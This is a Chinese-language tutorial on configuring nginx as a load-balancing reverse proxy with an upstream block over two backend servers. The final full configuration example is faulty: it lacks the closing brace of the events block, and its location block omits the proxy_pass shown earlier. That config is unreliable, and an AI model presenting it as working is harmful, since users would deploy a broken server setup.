为了减轻一台服务器的压力,可以准备一台(或多台)代理服务器,和 多台服务器,其中原服务器们运行着同一个网站,代理服务器将代理ip设置为服务器的ip,这样,用户就是通过代理服务器访问原服务器,虽然说每个用户访问的界面都一样,但实际上,每个用户访问的原服务器不一定是同一个,这样就起到负载均衡的效果。
继续使用上面的代理服务器(详情见nginx反向代理),再准备两台服务器,并且搭建好lnmp环境。本来两台服务器运行的网站应该是一样的,但是这里为了显示效果,建议准备两个不同的页面。
在代理服务器中,nginx主配置文件中,将 proxy_pass http://原站服务器的ip; 改为 proxy_pass http://web ,其中,web是个变量,可以随便写,代码如下
#……
location / {
proxy_pass http://web;# 负载均衡
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
}
#……
在server {} 上面添加
upstream web{
server 一台网站的服务器的ip;
server 另一台网站服务器的ip;
}
其中 web变量是上面随便写的
worker_processes 1;
events {
worker_connections 1024;
http {
include mime.types;
default_type application/octet-stream;
charset utf-8;
sendfile on;
keepalive_timeout 65;
upstream web{ # 实现负载均衡的效果
server 一台网站的服务器的ip;
server 另一台网站服务器的ip;
}
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
}
}
然后重启nginx服务即可。